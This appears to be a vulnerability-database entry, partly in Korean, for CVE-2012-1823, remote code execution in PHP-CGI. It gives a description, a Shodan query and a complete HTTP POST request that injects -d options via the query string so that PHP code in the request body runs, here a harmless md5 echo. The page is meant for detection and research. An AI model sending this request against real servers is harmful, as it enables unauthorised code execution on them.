🔙 목록으로 돌아가기

CVE-2012-1823: PHP CGI v5.3.12/5.4.2 Remote Code Execution

TitlePHP CGI v5.3.12/5.4.2 Remote Code Execution
Authorpikpikcu
SeverityHigh
ImpactRemote code execution
RemediationUpgrade to a patched version of PHP or apply the necessary security patches.
CVSS Score7.5
EPSS Score0.94386
CVE IDCVE-2012-1823
CWE IDCWE-20
Shodan Querycpe:"cpe:2.3:a:php:php"
Tags cve cve2012 kev vulhub rce php vkev vuln

🔍 Vulnerability Description

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the ‘d’ case.

🌐 HTTP Request

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<?php echo md5("CVE-2012-1823");?>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-1823.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A